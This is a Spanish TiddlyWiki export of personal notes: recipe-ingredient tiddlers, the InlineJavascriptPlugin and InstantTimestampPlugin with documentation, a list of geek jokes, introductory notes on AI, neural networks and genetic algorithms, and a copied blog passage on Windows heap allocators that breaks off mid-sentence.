* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Vainilla
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
En cocina se refiere a todo tipo de vegetales comestibles, incluidas semillas, raíces, tubérculos y algunos frutos como el tomate.
</part>
!Enlaces
<part enlaces>
* ''Información adicional:''
** Información en la Wikipedia: http://es.wikipedia.org/wiki/Verdura
* ''Recetarios:''
** Páginas web con recetas de este tipo (opcional)
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Ingredientes de cocina
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_ingredientes with: [[Recetas]]>>
<<autoRefresh>>
/***
|Name|InlineJavascriptPlugin|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.5|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|Insert Javascript executable code directly into your tiddler content.|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Documentation
>see [[InlineJavascriptPluginInfo]]
!!!!!Revisions
<<<
2009.04.11 [1.9.5] pass current tiddler object into wrapper code so it can be referenced from within 'onclick' scripts
2009.02.26 [1.9.4] in $(), handle leading '#' on ID for compatibility with JQuery syntax
|please see [[InlineJavascriptPluginInfo]] for additional revision details|
2005.11.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.InlineJavascriptPlugin= {major: 1, minor: 9, revision: 5, date: new Date(2009,4,11)};

config.formatters.push( {
	name: "inlineJavascript",
	match: "\\<script",
	lookahead: "\\<script(?: src=\\\"((?:.|\\n)*?)\\\")?(?: label=\\\"((?:.|\\n)*?)\\\")?(?: title=\\\"((?:.|\\n)*?)\\\")?(?: key=\\\"((?:.|\\n)*?)\\\")?( show)?\\>((?:.|\\n)*?)\\</script\\>",

	handler: function(w) {
		var lookaheadRegExp = new RegExp(this.lookahead,"mg");
		lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var src=lookaheadMatch[1];
			var label=lookaheadMatch[2];
			var tip=lookaheadMatch[3];
			var key=lookaheadMatch[4];
			var show=lookaheadMatch[5];
			var code=lookaheadMatch[6];
			if (src) { // external script library
				var script = document.createElement("script"); script.src = src;
				document.body.appendChild(script); document.body.removeChild(script);
			}
			if (code) { // inline code
				if (show) // display source in tiddler
					wikify("{{{\n"+lookaheadMatch[0]+"\n}}}\n",w.output);
				if (label) { // create 'onclick' command link
					var link=createTiddlyElement(w.output,"a",null,"tiddlyLinkExisting",wikifyPlainText(label));
					var fixup=code.replace(/document.write\s*\(/gi,'place.bufferedHTML+=(');
					link.code="function _out(place,tiddler){"+fixup+"\n};_out(this,this.tiddler);"
					link.tiddler=w.tiddler;
					link.onclick=function(){
						this.bufferedHTML="";
						try{ var r=eval(this.code);
							if(this.bufferedHTML.length || (typeof(r)==="string")&&r.length)
								var s=this.parentNode.insertBefore(document.createElement("span"),this.nextSibling);
							if(this.bufferedHTML.length)
								s.innerHTML=this.bufferedHTML;
							if((typeof(r)==="string")&&r.length) {
								wikify(r,s,null,this.tiddler);
								return false;
							} else return r!==undefined?r:false;
						} catch(e){alert(e.description||e.toString());return false;}
					};
					link.setAttribute("title",tip||"");
					var URIcode='javascript:void(eval(decodeURIComponent(%22(function(){try{';
					URIcode+=encodeURIComponent(encodeURIComponent(code.replace(/\n/g,' ')));
					URIcode+='}catch(e){alert(e.description||e.toString())}})()%22)))';
					link.setAttribute("href",URIcode);
					link.style.cursor="pointer";
					if (key) link.accessKey=key.substr(0,1); // single character only
				}
				else { // run script immediately
					var fixup=code.replace(/document.write\s*\(/gi,'place.innerHTML+=(');
					var c="function _out(place,tiddler){"+fixup+"\n};_out(w.output,w.tiddler);";
					try	 { var out=eval(c); }
					catch(e) { out=e.description?e.description:e.toString(); }
					if (out && out.length) wikify(out,w.output,w.highlightRegExp,w.tiddler);
				}
			}
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
		}
	}
} )
//}}}

// // Backward-compatibility for TW2.1.x and earlier
//{{{
if (typeof(wikifyPlainText)=="undefined") window.wikifyPlainText=function(text,limit,tiddler) {
	if(limit > 0) text = text.substr(0,limit);
	var wikifier = new Wikifier(text,formatter,null,tiddler);
	return wikifier.wikifyPlain();
}
//}}}

// // GLOBAL FUNCTION: $(...) -- 'shorthand' convenience syntax for document.getElementById()
//{{{
if (typeof($)=='undefined') { function $(id) { return document.getElementById(id.replace(/^#/,'')); } }
//}}}
/***
|Name|InlineJavascriptPluginInfo|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.4|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for InlineJavascriptPlugin|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Usage
<<<
This plugin adds wiki syntax for surrounding tiddler content with {{{<script>}}} and {{{</script>}}} markers, so that it can be recognized as embedded javascript code.
<script show>
	/* javascript code goes here... */
</script>Every time the tiddler content is rendered, the javascript code is automatically evaluated, allowing you to invoke 'side-effect' processing and/or produce dynamically-generated content that is then inserted into the tiddler content, immediately following the script (see below).  By including the optional ''show'' keyword as the final parameter in a {{{<script>}}} marker, the plugin will also include the script source code in the output that it displays in the tiddler.  This is helpful when creating examples for documentation purposes (such as used in this tiddler!)

__''Deferred execution from an 'onClick' link''__
<script label="click here" title="mouseover tooltip text" key="X" show>
	/* javascript code goes here... */
	alert('you clicked on the link!');
</script>
By including a {{{label="..."}}} parameter in the initial {{{<script>}}} marker, the plugin will create a link to an 'onclick' script that will only be executed when that specific link is clicked, rather than running the script each time the tiddler is rendered.  You may also include a {{{title="..."}}} parameter to specify the 'tooltip' text that will appear whenever the mouse is moved over the onClick link text, and a {{{key="X"}}} parameter to specify an //access key// (which must be a //single// letter or numeric digit only).

__''Loading scripts from external source files''__
<script src="URL" show>
	/* optional javascript code goes here... */
</script>You can also load javascript directly from an external source URL, by including a src="..." parameter in the initial {{{<script>}}} marker (e.g., {{{<script src="demo.js"></script>}}}).  This is particularly useful when incorporating third-party javascript libraries for use in custom extensions and plugins.  The 'foreign' javascript code remains isolated in a separate file that can be easily replaced whenever an updated library file becomes available.

In addition to loading the javascript from the external file, you can also use this feature to invoke javascript code contained within the {{{<script>...</script>}}} markers.  This code is invoked //after// the external script file has been processed, and can make immediate use of the functions and/or global variables defined by the external script file.
>Note: To ensure that your javascript functions are always available when needed, you should load the libraries from a tiddler that is rendered as soon as your TiddlyWiki document is opened, such as MainMenu.  For example: put your {{{<script src="..."></script>}}} syntax into a separate 'library' tiddler (e.g., LoadScripts), and then add {{{<<tiddler LoadScripts>>}}} to MainMenu so that the library is loaded before any other tiddlers that rely upon the functions it defines. 
>
>Normally, loading external javascript in this way does not produce any direct output, and should not have any impact on the appearance of your MainMenu.  However, if your LoadScripts tiddler contains notes or other visible content, you can suppress this output by using 'inline CSS' in the MainMenu, like this: {{{@@display:none;<<tiddler LoadScripts>>@@}}}
<<<
!!!!!Creating dynamic tiddler content and accessing the ~TiddlyWiki DOM
<<<
An important difference between TiddlyWiki inline scripting and conventional embedded javascript techniques for web pages is the method used to produce output that is dynamically inserted into the document: in a typical web document, you use the {{{document.write()}}} (or {{{document.writeln()}}}) function to output text sequences (often containing HTML tags) that are then rendered when the entire document is first loaded into the browser window.

However, in a ~TiddlyWiki document, tiddlers (and other DOM elements) are created, deleted, and rendered "on-the-fly", so writing directly to the global 'document' object does not produce the results you want (i.e., replacing the embedded script within the tiddler content), and instead will //completely replace the entire ~TiddlyWiki document in your browser window (which is clearly not a good thing!)//.  In order to allow scripts to use {{{document.write()}}}, the plugin automatically converts and buffers all HTML output so it can be safely inserted into your tiddler content, immediately following the script.

''Note that {{{document.write()}}} can only be used to output "pure HTML" syntax.  To produce //wiki-formatted// output, your script should instead return a text value containing the desired wiki-syntax content'', which will then be automatically rendered immediately following the script.  If returning a text value is not sufficient for your needs, the plugin also provides an automatically-defined variable, 'place', that gives the script code ''direct access to the //containing DOM element//'' into which the tiddler output is being rendered.  You can use this variable to ''perform direct DOM manipulations'' that can, for example:
* generate wiki-formatted output using {{{wikify("...content...",place)}}}
* vary the script's actions based upon the DOM element in which it is embedded
* access 'tiddler-relative' DOM information using {{{story.findContainingTiddler(place)}}}
Note:
''When using an 'onclick' script, the 'place' element actually refers to the onclick //link text// itself, instead of the containing DOM element.''  This permits you to directly reference or modify the link text to reflect any 'stateful' conditions that might set by the script.  To refer to the containing DOM element from within an 'onclick' script, you can use "place.parentNode" instead.
<<<
!!!!!Instant "bookmarklets"
<<<
You can also use an 'onclick' link to define a "bookmarklet": a small piece of javascript that can be ''invoked directly from the browser without having to be defined within the current document.''  This allows you to create 'stand-alone' commands that can be applied to virtually ANY TiddlyWiki document... even remotely-hosted documents that have been written by others!!  To create a bookmarklet, simply define an 'onclick' script and then grab the resulting link text and drag-and-drop it onto your browser's toolbar (or right-click and use the 'bookmark this link' command to add it to the browser's menu).

Notes:
*When writing scripts intended for use as bookmarklets, due to the ~URI-encoding required by the browser, ''you cannot not use ANY double-quotes (") within the bookmarklet script code.''
*All comments embedded in the bookmarklet script must ''use the fully-delimited {{{/* ... */}}} comment syntax,'' rather than the shorter {{{//}}} comment syntax.
*Most importantly, because bookmarklets are invoked directly from the browser interface and are not embedded within the TiddlyWiki document, there is NO containing 'place' DOM element surrounding the script.  As a result, ''you cannot use a bookmarklet to generate dynamic output in your document,''  and using {{{document.write()}}} or returning wiki-syntax text or making reference to the 'place' DOM element will halt the script and report a "Reference Error" when that bookmarklet is invoked.  
Please see [[InstantBookmarklets]] for many examples of 'onclick' scripts that can also be used as bookmarklets.
<<<
!!!!!Special reserved function name
<<<
The plugin 'wraps' all inline javascript code inside a function, {{{_out()}}}, so that any return value you provide can be correctly handled by the plugin and inserted into the tiddler.  To avoid unpredictable results (and possibly fatal execution errors), this function should never be redefined or called from ''within'' your script code.
<<<
!!!!!$(...) 'shorthand' function
<<<
As described by Dustin Diaz [[here|http://www.dustindiaz.com/top-ten-javascript/]], the plugin defines a 'shorthand' function that allows you to write:
{{{
$(id)
}}}
in place of the normal standard javascript syntax:
{{{
document.getElementById(id)
}}}
This function is provided merely as a convenience for javascript coders that may be familiar with this abbreviation, in order to allow them to save a few bytes when writing their own inline script code.
<<<
!!!!!Examples
<<<
simple dynamic output:
><script show>
	document.write("The current date/time is: "+(new Date())+"<br>");
	return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
dynamic output using 'place' to get size information for current tiddler:
><script show>
	if (!window.story) window.story=window;
	var title=story.findContainingTiddler(place).getAttribute("tiddler");
	var size=store.getTiddlerText(title).length;
	return title+" is using "+size+" bytes";
</script>
dynamic output from an 'onclick' script, using {{{document.write()}}} and/or {{{return "..."}}}
><script label="click here" show>
	document.write("<br>The current date/time is: "+(new Date())+"<br>");
	return "link to current user: [["+config.options.txtUserName+"]]\n";
</script>
creating an 'onclick' button/link that accesses the link text AND the containing tiddler:
><script label="click here" title="clicking this link will show an 'alert' box" key="H" show>
	if (!window.story) window.story=window;
	var txt=place.firstChild.data;
	var tid=story.findContainingTiddler(place).getAttribute('tiddler');
	alert('Hello World!\nlinktext='+txt+'\ntiddler='+tid);
</script>
dynamically setting onclick link text based on stateful information:
>{{block{
{{{
<script label="click here">
	/* toggle "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.innerHTML=on?"enable":"disable";
	config.txtSomething=on?"OFF":"ON";
	return "\nThe current value is: "+config.txtSomething;
</script><script>
	/* initialize onclick link text based on current "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.lastChild.previousSibling.innerHTML=on?"disable":"enable";
</script>
}}}
<script label="click here">
	/* toggle "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.innerHTML=on?"enable":"disable";
	config.txtSomething=on?"OFF":"ON";
	return "\nThe current value is: "+config.txtSomething;
</script><script>
	/* initialize onclick link text based on current "txtSomething" value */
	var on=(config.txtSomething=="ON");
	place.lastChild.innerHTML=on?"enable":"disable";
</script>
}}}
loading a script from a source url:
>http://www.TiddlyTools.com/demo.js contains:
>>{{{function inlineJavascriptDemo() { alert('Hello from demo.js!!') } }}}
>>{{{displayMessage('InlineJavascriptPlugin: demo.js has been loaded');}}}
>note: When using this example on your local system, you will need to download the external script file from the above URL and install it into the same directory as your document.
>
><script src="demo.js" show>
	return "inlineJavascriptDemo() function has been defined"
</script>
><script label="click to invoke inlineJavascriptDemo()" key="D" show>
	inlineJavascriptDemo();
</script>
<<<
!!!!!Revisions
<<<
2009.02.26 1.9.4 in $(), handle leading '#' on ID for compatibility with JQuery syntax
2008.06.11 1.9.3 added $(...) function as 'shorthand' for document.getElementById()
2008.03.03 1.9.2 corrected fallback declaration of wikifyPlainText() (fixes Safari "parse error")
2008.02.23 1.9.1 in onclick function, use string instead of array for 'bufferedHTML' (fixes IE errors)
2008.02.21 1.9.0 output from 'onclick' scripts (return value or document.write() calls) are now buffered and rendered into into a span following the script.  Also, added default 'return false' handling if no return value provided (prevents HREF from being triggered -- return TRUE to allow HREF to be processed).  Thanks to Xavier Verges for suggestion and preliminary code.
2008.02.14 1.8.1 added backward-compatibility for use of wikifyPlainText() in TW2.1.3 and earlier
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 1.8.0 added support for key="X" syntax to specify custom access key definitions
2007.12.15 1.7.0 autogenerate URI encoded HREF on links for onclick scripts.  Drag links to browser toolbar to create bookmarklets.  IMPORTANT NOTE: place is NOT defined when scripts are used as bookmarklets.  In addition, double-quotes will cause syntax errors.  Thanks to PaulReiber for debugging and brainstorming.
2007.11.26 1.6.2 when converting "document.write()" function calls in inline code, allow whitespace between "write" and "(" so that "document.write ( foobar )" is properly converted.
2007.11.16 1.6.1 when rendering "onclick scripts", pass label text through wikifyPlainText() to parse any embedded wiki-syntax to enable use of HTML entities or even TW macros to generate dynamic label text.
2007.02.19 1.6.0 added support for title="..." to specify mouseover tooltip when using an onclick (label="...") script
2006.10.16 1.5.2 add newline before closing '}' in 'function out_' wrapper.  Fixes error caused when last line of script is a comment.
2006.06.01 1.5.1 when calling wikify() on script return value, pass hightlightRegExp and tiddler params so macros that rely on these values can render properly
2006.04.19 1.5.0 added 'show' parameter to force display of javascript source code in tiddler output
2006.01.05 1.4.0 added support 'onclick' scripts.  When label="..." param is present, a button/link is created using the indicated label text, and the script is only executed when the button/link is clicked.  'place' value is set to match the clicked button/link element.
2005.12.13 1.3.1 when catching eval error in IE, e.description contains the error text, instead of e.toString().  Fixed error reporting so IE shows the correct response text.  Based on a suggestion by UdoBorkowski
2005.11.09 1.3.0 for 'inline' scripts (i.e., not scripts loaded with src="..."), automatically replace calls to 'document.write()' with 'place.innerHTML+=' so script output is directed into tiddler content.  Based on a suggestion by BradleyMeck
2005.11.08 1.2.0 handle loading of javascript from an external URL via src="..." syntax
2005.11.08 1.1.0 pass 'place' param into scripts to provide direct DOM access 
2005.11.08 1.0.0 initial release
<<<
/***
|Name:|InstantTimestampPlugin|
|Description:|A handy way to insert timestamps in your tiddler content|
|Version:|1.0.10 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#InstantTimestampPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Usage
If you enter {ts} in your tiddler content (without the spaces) it will be replaced with a timestamp when you save the tiddler. Full list of formats:
* {ts} or {t} -> timestamp
* {ds} or {d} -> datestamp
* !ts or !t at start of line -> !!timestamp
* !ds or !d at start of line -> !!datestamp
(I added the extra ! since that's how I like it. Remove it from translations below if required)
!!Notes
* Change the timeFormat and dateFormat below to suit your preference.
* See also http://mptw2.tiddlyspot.com/#AutoCorrectPlugin
* You could invent other translations and add them to the translations array below.
***/
//{{{

config.InstantTimestamp = {

	// adjust to suit
	timeFormat: 'DD/0MM/YY 0hh:0mm',
	dateFormat: 'DD/0MM/YY',

	translations: [
		[/^!ts?$/img,  "'!!{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
		[/^!ds?$/img,  "'!!{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"],

		// thanks Adapted Cat
		[/\{ts?\}(?!\}\})/ig,"'{{ts{'+now.formatString(config.InstantTimestamp.timeFormat)+'}}}'"],
		[/\{ds?\}(?!\}\})/ig,"'{{ds{'+now.formatString(config.InstantTimestamp.dateFormat)+'}}}'"]
		
	],

	excludeTags: [
		"noAutoCorrect",
		"noTimestamp",
		"html",
		"CSS",
		"css",
		"systemConfig",
		"systemConfigDisabled",
		"zsystemConfig",
		"Plugins",
		"Plugin",
		"plugins",
		"plugin",
		"javascript",
		"code",
		"systemTheme",
		"systemPalette"
	],

	excludeTiddlers: [
		"StyleSheet",
		"StyleSheetLayout",
		"StyleSheetColors",
		"StyleSheetPrint"
		// more?
	]

}; 

TiddlyWiki.prototype.saveTiddler_mptw_instanttimestamp = TiddlyWiki.prototype.saveTiddler;
TiddlyWiki.prototype.saveTiddler = function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created) {

	tags = tags ? tags : []; // just in case tags is null
	tags = (typeof(tags) == "string") ? tags.readBracketedList() : tags;
	var conf = config.InstantTimestamp;

	if ( !tags.containsAny(conf.excludeTags) && !conf.excludeTiddlers.contains(newTitle) ) {

		var now = new Date();
		var trans = conf.translations;
		for (var i=0;i<trans.length;i++) {
			newBody = newBody.replace(trans[i][0], eval(trans[i][1]));
		}
	}

	// TODO: use apply() instead of naming all args?
	return this.saveTiddler_mptw_instanttimestamp(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created);
}

// you can override these in StyleSheet 
setStylesheet(".ts,.ds { font-style:italic; }","instantTimestampStyles");

//}}}
Via http://mundogeek.net/archivos/2009/07/09/10-insultos-geek/
# Tu madre es tan enorme que viene con sus propias barras de desplazamiento
# Tu madre es tan gorda que tuvieron que inventar IPv6 para que pudiera entrar en Internet
# Tu madre es tan fea que el patrón decorador no pudo arreglarlo
# Tu madre es tan estúpida que todavía está buscando la tecla any
# Tu madre es tan gorda que Google no ha terminado de indexarla
# Tu madre es tan gorda que si intentaras subir una foto suya a alguna web, se tomaría por un ataque DoS
# Tu madre es tan estúpida que pensaba que NHibernate es lo que los NOsos hacen en NInvierno
# Tu madre es tan fea que Bing tuvo que empezar a filtrar sus imágenes en algunos países
# Tu madre es tan gorda que la búsqueda de imágenes de Google tiene como opciones "pequeñas", "medianas", "grandes" y "el tamaño de tu madre"
# Tu madre es tan gorda que necesitas enteros de 128 bits para almacenar su peso
<<showtoc>>
!Descripción
<part descripcion>
Ciencia de la computación relativa a la simulación de sistemas inteligentes. Inteligencia artificial (ó IA) no es sólo la creación de un sistema informático que "parezca humano" ni mucho menos, si no que engloba muchas áreas, sobre todo relativas a búsquedas de patrones e inferencia de resultados.

Estas operaciones son comunes en todos los seres vivos con un sistema nervioso medianamente complejo, como el reconocimiento de imágenes o la toma de decisiones según el entorno, pero es muy complejo de modelar en los computadores digitales.
</part>
!Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Inteligencia_artificial

!! Temas generales
* AI Life Howto: http://www.linux.com/learn/docs/ldp/412-ai-alife-howto
* Vida Artificial, artículos diversos: http://vidaartificial.com/index.php?title=Inteligencia_Artificial
* Vida Artificial, ebooks: http://vidaartificial.com/index.php?title=Libros
* Cómo comenzar con la Inteligencia Artificial: http://www.generation5.org/content/2004/howto02es.asp
* Artículos de todo tipo de Generation 5: http://www.generation5.org/articles.asp?Action=ListAll

!! Enlaces via reddit
[[reddit|http://www.reddit.com/r/programming/comments/8w6gf/what_would_be_a_good_beginners_resource_to_learn/]]
* http://www.neural-networks-at-your-fingertips.com/
* http://www.inference.phy.cam.ac.uk/mackay/itila/
* http://www.stanford.edu/class/cs229/
* http://www.kyb.tuebingen.mpg.de/bs/people/weston/papers/unified_nlp.pdf
* http://www.ai-junkie.com/
* http://www.ai-junkie.com/ann/evolved/nnt1.html
* http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.27.699
* http://www.cs.toronto.edu/~mackay/itila/book.html
* http://www.primaryobjects.com/CMS/Article105.aspx
* http://www.mathworks.com/access/helpdesk/help/pdf_doc/nnet/nnet.pdf
* http://scholar.google.com/scholar?hl=en&client=firefox-a&rls=org.mozilla:en-US:official&hs=P2I&q=author:%22Mitchell%22+intitle:%22An+introduction+to+genetic+algorithms%22+&um=1&ie=UTF-8&oi=scholarr

!! Bots
* Lenguaje AIML: http://es.wikipedia.org/wiki/AIML

!! Sistemas de aprendizaje
* Elements of Statistical Learning: http://www-stat.stanford.edu/~tibs/ElemStatLearn/
* Statistical Thought: http://www.math.umass.edu/~lavine/Book/book.html

!!Agentes
Artificial Intelligence foundations of computational agents: http://artint.info/html/ArtInt.html

!! Notas
Wiki notas: http://notas.ia.tiddlyspot.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
''Nota:'' Artículo extraído (con alguna modificación) de: http://www.ikkaro.com/redes-neuronales

! Definición
Es un modelo matemático relativamente moderno basado en la conexiones que existen entre las neuronas de nuestros cerebros. Se utilizan generalmente como predictores, es decir, le damos un problema de entrada y esperamos obtener la respuesta a ese problema a la salida.

! Aprendizaje
Su efectividad depende de un proceso llamado aprendizaje, este aprendizaje se realiza mediante un algoritmo también llamado de aprendizaje al que se le dan unos datos de entradas con una correspondiente salida. Digamos que se le da el problema y su solución, así la red neuronal aprenderá a resolverlos. Una vez la red está entrenada la solución que de a los problemas debería ser la correcta.

! Aplicaciones
Las aplicaciones que tienen hoy en día las redes neuronales son por ejemplo la Bioinformática, rama que se encarga de ayudar con la informática a la predicción, cura y tratamiento de enfermedades. En la facultad de informática de Málaga una de las prácticas que nos pusieron era realizar un predictor determinar el tipo de cáncer de mama que tenían los pacientes y el tratamiento óptimo para su cura. El análisis por estudios estadísticos daba un acierto de un 80 y algo y el que estaba basado en redes neuronales de un 90 largo, se puede apreciar la mejora.
Tengo más información un poco más técnica de como funciona por dentro, si estáis interesados escribo un poco más.
!Introducción
Los algoritmos genéticos son una familia de algoritmos que intenta imitar los procesos de la evolución biológica. Prodía considerarse como una rama de la complegidad emergente, en la que unas reglas sencillas y un conjunto de salida sencillo dan lugar tras diversas transformaciones en construcciones mucho más complejas e intersantes.

!Funcionamiento
Los algoritmos genéticos aplican diversas modificaciones aleatorias (mutaciones) sobre una muestra inicial y determinan cuales de los "hijos" de la población inicial son más aptos. Los menos aptos se retiran y se sigue trabajando con los seleccionados. Se les vuelven a aplicar varios ciclos de mutación-selección hasta que se alcance la solución más adecuada. Además de la mutación también suele utilizarse una operación llamada "cruzamiento". El proceso debe detenerse según una regla de "condición de término", que suele consistir en un número máximo de generaciones o que no se produzcan apenas cambios de la generación anterior a la siguiente.

La información de cada individuo (y por ende, de cada posible solución) se codifica en cadenas llamadas "cromosomas", y al conjunto de todos los cromosomas posibles "genotipo". Al conjunto de soluciones se le denomina "fenotipo". Lo más habitual suele ser que las cadenas de cromosomas sean arrays de dígitos binarios. Cada uno de los dígitos de la cadena se llama "gen". El resultado de cada ciclo de mutación se llama "generación". La próxima generación se llama "descendencia".
//Copy paste de aquí:// http://blog.48bits.com/2010/03/14/introduccion-al-heap-de-windows/

En Windows vista el tipo de heap que las aplicaciones usan por defecto es el llamado low-fragmentation heap. Esta situacion es diferente a la que nos podemos encontrar en otras versiones de Windows. Pero, ¿Que es esto del low-fragmentation heap?¿Que beneficios aporta?

En este post voy a intentar despejar estas incognitas al mismo tiempo que doy una vision global de como funciona el Heap de Windows.

En Windows el heap tiene dos niveles bien diferenciados. El primero de ellos se llama el back end Allocator, mientras que el segundo nivel se denomina front end Allocator.

El back end Allocator proporciona una implementacion sencilla y flexible. Estableciendo un paralelismo con el campo de la algoritmica podriamos decir que el back end allocator es una especie de “Uninformed allocator” en el sentido de que no trata de dar ventaja a unas situaciones respecto a otras.

El back end allocator organiza la memoria que gestiona en diferentes segmentos que reserva a traves de las funciones del sistema operativo destinadas al tratamiento de la memoria virtual (vg. ZwAllocateVirtualMemory). Estos segmentos contienen las diferentes reservas de memoria que los usuarios requieren. El heap tiene una granularidad (normalmente de ocho bytes, lo que quiere decir que toda reserva de memoria en el heap sera necsariamente de tamaño multiplo de ocho) que asegura el alineamiento y simplifica la gestion. Para cada bloque existe una cabecera con diversa informacion. La cabecera indica el tamaño del bloque y el tamaño del bloque anterior. De esta forma los bloques contiguos estan enlazados entre si. La cabecera tambien indica si un bloque de memoria esta en uso o libre. Con esta informacion el back end allocator es capaz de unir los bloques libres contiguos para formar bloques mas grandes y para de esta forma combatir la fragmentacion. El back end allocator gestiona otras dos estructuras de importancia. Un array de listas doblemente enlazadas que agrupan bloques libres de igual tamaño y un bitmap que indica si para una entrada del array anterior la lista doblemente enlazada contiene o no bloques disponibles. Con estas dos estructuras el back end allocator es capaz de mantener el heap sin una fragmentacion excesiva, puesto que es capaz de elegir el mejor bloque de los libres disponibles para satisfacer la demanda de un usuario. Hay peticiones de memoria que por ser demasiado grandes no son gestionadas por este sistema de listas. En estos casos la peticion de memoria se satisface directamente a traves de las funciones de gestion de memoria virtual del sistema operativo.

Ademas de los aspectos basicos sobre la algoritmia del back end allocator que he descrito antes, este allocator permite diferentes modos de funcionamiento dependiendo de los flags usados en la creacion del heap y en el momento de una reserva concreta por parte del usuario. Por ejemplo, el heap puede ser inicializado con sincronia interna o sin sincronia en caso de que el usuario gestione la sincronia por su cuenta. El heap tambien puede crecer segun sus necesidades o tener un tamaño fijo. Puede tener activadas diferentes opciones de depuracion. O puede tener asignada una direccion fija asignada por el usuario. Este ultimo caso de uso muy poco comun pero muy util para mapear heaps sobre ficheros mapeados en memoria, pudiendo compartir el heap entre varios procesos. Esta es la tecnica usada por muchos componentes de Windows para el paso de mensajes de gran tamaño. El ejemplo mas clasico es la comunicacion que se establece entre el CSRSS y los procesos del subsistema. Otras de las funcionalidades no demasiado conocidas que proporciona algunas implementaciones del heap de windows es la posibilidad de encriptar las cabeceras de los heaps mediante un XOR con un numero aleatorio obtenido en el momento de creacion del propio heap.

El front end Allocator es una capa por encima del back end allocator que pretende proporcionar algoritmos que se adapten a las necesidades especificas de diferentes aplicaciones. Windows proporciona dos front end allocators diferentes. El primero de ellos se denomina Look Aside List allocator y el segundo se denominar Low Fragmentation allocator. Tambien se puede dedicir no usar ninguno de los dos Frond End Allocators disponibles. La mayor parte de las versiones de Windows usan el Look Aside List Allocator como Front end allocator por defecto, pero Windows vista usa el Low Fragmentation heap como Front end Allocator, y parece que las sucesivas versiones de sistemas operativos NT seguiran esta misma linea.

De los dos front end allocators disponibles, el Look Aside list allocator es el mas sencillo. El Look Aside list allocator cuenta con un array de listas enlazadas que son thread-safe. Estas listas se basan en una estructura de datos de caracter general conocida como “sequenced singly linked list”. Cuando un usuario lleva a cabo la peticion de un nuevo bloque, el look aside list allocator trata de satisfacer la peticion usando estas listas. Si la peticion no se puede satisfacer entonces se intenta satisfar a traves del back end allocator. Cuando el usuario libera un bloque de memoria, el look aside list allocator guarda el bloque para poder atender posteriormente nuevas peticiones. Si el front end allocator no puede gestionar el bloque en sus listas, entonces pide al back end allocator su liberacion. Este allocator proporciona algunas ventajas respecto al uso del back end allocator, pero tambien plantea algunos problemas. La principal de las ventajas es que para satisfacer una peticion de reserva a traves del Look Aside List allocator no es necesario bloquear el heap, puesto que las listas que usa son seguras. Esto nos proporciona un mayor rendimiento en entornos multithread, puesto que el back end allocator serializaria las peticiones de los usuarios. La principal desventaja es que los bloques gestionados por el look aside list allocator no son liberados y permanencen en uso desde el punto de vista del back end allocator. En esta situacion los bloques libres contiguos no pueden ser unidos. Por tanto, el look aside list allocator proporciona un rendimiento mayor pero tambien provoca una mayor fragmentacion del heap.

El low fragmentation heap allocator pone sobre el tapete un algoritmo relativamente complejo que pretende aunar las ventajas tanto del Look Aside List allocator como del algoritmo expuesto por el back end allocator. Una de las primeras cosas que diferencia este allocator es la granularidad variable. Si en el back end allocator ( y por ende en el Look Aside allcoator) la granularidad del heap es normalmente de ocho bytes, y es asi independientemente de los tamaños de las reservas de los usuarios, el low fragmentation allocator tiene una granularidad variable, que aumenta gradualmente al aumentar los tamaños de las peticiones. Esto le permite gestionar mejor los bloques de memoria, haciendo a veces pequeños gastos extra de memoria, pero evitando la fragmentacion y acelerando el proceso de reserva. Este allocator gestiona las reservas de memoria de diferentes tamaños de forma indpendiente. De esta forma solo tiene que sincronizar el acceso para alojos del mismo tamaño. Pero esto tambien le obliga a implementar objetos mas complejos para satisfacer las peticiones de un mismo tamaño. Si alguno de los que han comenzado a leer esto ha llegado hasta 